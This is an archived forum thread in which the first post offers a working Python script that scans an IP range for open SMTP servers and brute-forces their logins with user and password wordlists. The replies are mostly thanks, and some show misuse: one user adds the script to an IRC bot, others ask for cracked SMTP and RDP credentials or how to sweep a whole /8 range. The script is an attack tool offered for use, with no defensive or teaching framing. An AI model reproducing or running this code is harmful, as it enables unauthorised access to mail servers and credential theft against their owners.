PDA

View Full Version : SMTP Scanner/Brute Forcer [Python]



manzalawi
01-29-2011, 11:08 AM
#!usr/bin/python
#Smtp Brute Forcer, searches ip_range for hosts using smtp.
#[Doar userii inregistrati pot vedea linkurile. ]
#d3hydr8[at]gmail[dot]com

import threading, time, StringIO, commands, random, sys, smtplib, re, socket
from smtplib import SMTP
from copy import copy

if len(sys.argv) !=4:
print "Usage: ./smtpbrute_iprange.py <ip_range> <userlist> <wordlist>"
sys.exit(1)

try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)

print "\n\t d3hydr8[at]gmail[dot]com smtpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Scanning:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)

wordlist = copy(words)

def scan():

iprange = sys.argv[1]
ip_list = []

nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 25 | grep open -B 3')[1]).readlines()

for tmp in nmap:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
if ipaddr:
ip_list.append(ipaddr[0])
return ip_list

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])

else:
reloader()
value = random.sample(words, 1)

lock.release()
return value[0][:-1]

class Workhorse(threading.Thread):

def run(self):
value = getword()
try:
print "-"*12
print "User:",user[:-1],"Password:",value
smtp = smtplib.SMTP(ip)
smtp.login(user[:-1], value)
print "\t\nLogin successful:",user, value
smtp.quit()
work.join()
sys.exit(2)
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
#print "An error occurred:", msg
pass

ip_list = scan()
print "[+] Hosts Loaded:",len(ip_list),"\n"
for ip in ip_list:
print "\n\tAttempting BruteForce:",ip,"\n"
try:
helo = smtplib.SMTP(ip)
print helo.helo(), "\n"
helo.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException):
print "Server doesn't support the Helo cmd"
for user in users:
for i in range(len(words)):
if i == 0: reloader()
work = Workhorse()
work.start()
time.sleep(2)


dont 4get say thx :)

pascalll2222
02-01-2011, 08:19 AM
thank youuuuuuuuuuuuuuuu

wale0003
02-02-2011, 08:23 PM
thnxxxx bro

qwerty
02-05-2011, 09:09 PM
thnxxxx man

lucke
02-24-2011, 09:54 PM
Can you tell me more about this?

mhdri
02-25-2011, 09:21 PM
thankxxxxxxxxxxxxxxx

kebo_angel
03-01-2011, 06:44 PM
wah thanks bro, nice thread bro

otheridentity
03-17-2011, 12:58 AM
thanks! this is great

mc0d3
03-19-2011, 04:52 PM
O boy thank you. and its a script lol oly molly

antitos
03-21-2011, 05:57 PM
thx for this script, i added this future to my bot irc.

brov1
12-26-2011, 10:08 PM
i need good smtp + rdp with user name / password

4don4i
04-21-2012, 10:34 PM
very,very good man.thanks...

alen29716
07-03-2012, 03:03 PM
thank so much

donmastiff
07-26-2012, 03:27 PM
thank bro but how will the ip ranger go in cos i tried 23.0.0.0-23.255.255.255 it didnt work

justcool04
07-26-2012, 04:38 PM
thanks bros

1797413
07-23-2017, 04:26 PM
thanks bro.

horusofficial
08-30-2017, 05:18 PM
Nice job....